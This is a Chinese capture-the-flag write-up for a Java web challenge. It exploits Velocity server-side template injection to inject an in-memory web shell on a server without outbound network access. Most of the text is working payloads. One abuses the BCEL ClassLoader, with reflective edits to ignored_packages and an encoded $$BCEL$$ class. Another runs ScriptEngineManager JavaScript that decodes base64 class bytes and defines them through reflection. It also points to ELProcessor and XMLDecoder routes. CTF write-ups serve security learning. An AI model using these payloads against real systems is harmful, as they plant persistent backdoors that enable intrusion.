ez-http-server
网鼎杯朱雀组web
一个java 的HttpExchange起的服务,自己实现了一套MVC逻辑。
然后有个velocity的模板注入,但是不知道为什么没有回显,并且远程是不出网的,所以这里要打内存马的方式去回显,最恶心的地方是这个模板不好构造类型数组,他本身的数组是ArrayList,所以通过其他方法去实现。
最后调试复现其实可以通过很多方法
1 | ELProcessor: |
这里的$i18n是自带的变量,也可以通过
1 | #set($e="e"); |
去平替。
这里就通过一般注内存马的思路,遍历线程拿到handle,然后注入新的handle,这里展示几种方法
BECL
在Java 8u251以后该类无法利用
然后因为该类有个小限制,如果有继承非"java.", "javax.", "sun."
包中的类需要额外设置,因为调用BCEL无参的构造方法之后loadclass会走SyntheticRepository的,所以会有classpath限制。可以通过添加ignored_packages来绕过限制。
因为这里无法直接通过构建数组来绕过,所以通过反射修改原本的设定值
payload:
1 | #set($e="e");#set($x2=$e.getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance());#set($field=$x2.getClass().getDeclaredField("ignored_packages"));$field.setAccessible(true);#set($ig=$field.get($x2))#set($ig[2]="com.");$field.set($x2,$ig);#set($becl="$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dW$J$7c$UW$j$fe$5e$f6$98$c90$9b$90M$d2$b0$40$cbU$m$81$84$a5$d0R$ba$i$85$a4E$82$J$d0$q$80$L$k$9d$ecN$92$85$cd$ee2$3bK$89Z$ac$daZ$8f$da$da$aa$uZ$5bEm$c4zQ$eb$G$h9$bc$Q$5b$bc$f1$ae$d6$a3$ad$da$DQ$5b$8f$a2$c4$ef$cdn$ee$N$ed$ef$97$bc$9dy$ef$ff$be$ff$f5$fd$ff$ef$cd$a3$X$k9$G$e0J$e1$d7p$xnS$f1$O$f9$7b$bb$8awjx$X$de$ad$e1$3d$b8C$c5$7b5$94$e1$ceb$dc$85$f7$v$b8$5b$83$86$7b$e4$f0$7e9$7c$40$c3$H$b1_$c5$87$a4$cc$87$V$iP$f1$R$V$lUp$af$86$K$7cL$O$f7$v$b8_$c3$c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$aa$i$cd$eb$fc$abG$a8$w$5e$90$c5$b5$bd$d0$a4L$Wkn$f5$8a$de$81$ad$bdp7$jf$3cb$bc$b2$9e$ro$7c8$cfK$e0$m$T$f7$93$3d$c0$S$c6n$vW$961SW$93g$cb1$T$d7$90S$x$b0$98L$b9$8a$f9$5d$81$d5d$cf$b5$cc$f1$g$o$d5$c3$e6$5b$Pk$fe$WV$fd$edD$ba$9b$7c$db$cf$9c$dfK$7e$3d$40n$3dHv$j$s$af$fa$c9$a9$Td$d5I2$ea4s$7f$86$7cz$82Lz$92$iy$96hg$c9$a0s$e4$ce$8b$c4$3eO$8e$5c$mS$G$c8$T$c9$de$W$e6$fd4$z$b5$90$e6$d3$ZTQk$86$ec$3dG$9e$ed$n$9bU$ee$3f$80$bd$b4C$a1$dd$cf$e0$8d$5ce$9b$e4$d7$c1$9b$f0fz$dc$80$p$b8$99$5cwI$G$e4$Z$z$Z$b8$B$de$B$9a$a78$94z$8b$82$5b$U$y$e5$9f$a0$d0$A$ee$cfSm$e4$bc$82$b7$3a4$7bIn$f4$c8$c7$IP$cf$J$M$f1n$G$ff$df$e6t$c2$b7$ff$l$7e$40$kt$5c$R$A$A")#set($list=$x2.loadClass($becl).newInstance()); |
这样直接加载实例化字节码就可以注入内存马了
ScriptEngineManager
javax.script.ScriptEngineManager 可以直接反射这个类来执行任意java代码,然后执行类加载器来加载任意字节码,以此来注入内存马,https://xz.aliyun.com/t/9715#toc-3
主要注意的点就是js去操作java对象时候要Java.type先获取一下,然后通过new去实例化。
1 | #set($e="e");#set($jj=$e.getClass().forName("javax.script.ScriptEngineManager").newInstance());$jj.getEngineByName("js").eval("var str='yv66vgAAADQBEgoAhACFCACGCgCEAIcIAIgKAIkAigoAiwCMCACNCgARAI4JAI8AkAcAkQoACgCSCgAKAJMKAAoAlAoAlQCWCACXCgARAJgHAJkIAJoIAJsHAJwKABQAnQoAFACeBwCfCgCgAKEKABcAogcAowcApAoAGwCiCgAaAKUKABoApgcApwgAqAgAqQ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MwAVADUAFUA3wBXAOQAWADrAFwA7gBaAPAAWwD1AD8A+wBhAP4AYAD/AGIASAAAAFIACADMAB8AcgBzAAgA1AAXAHQAdQAJAPAABQB2AHcACABcAJkAeAB5AAcAEQDqAHoAdQABABsA4AB7AHwAAgBDALgAfQB+AAMAAAEAAFMAVAAAAGIAAABKAAb/AE4ABwcAYwcAfwcAgAcAMwcAMwEBAAD/AJ8ACAcAYwcAfwcAgAcAMwcAMwEBBwCBAAEHAG36AAb/AAUAAQcAYwAAQgcAbQAAbgAAAAQAAQAfAAEAggAAAAIAgw==';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();"); |
XMLDecoder
https://xz.aliyun.com/t/10323
其实也是用类加载器加载字节码,思路都差不多这里就不写具体的payload了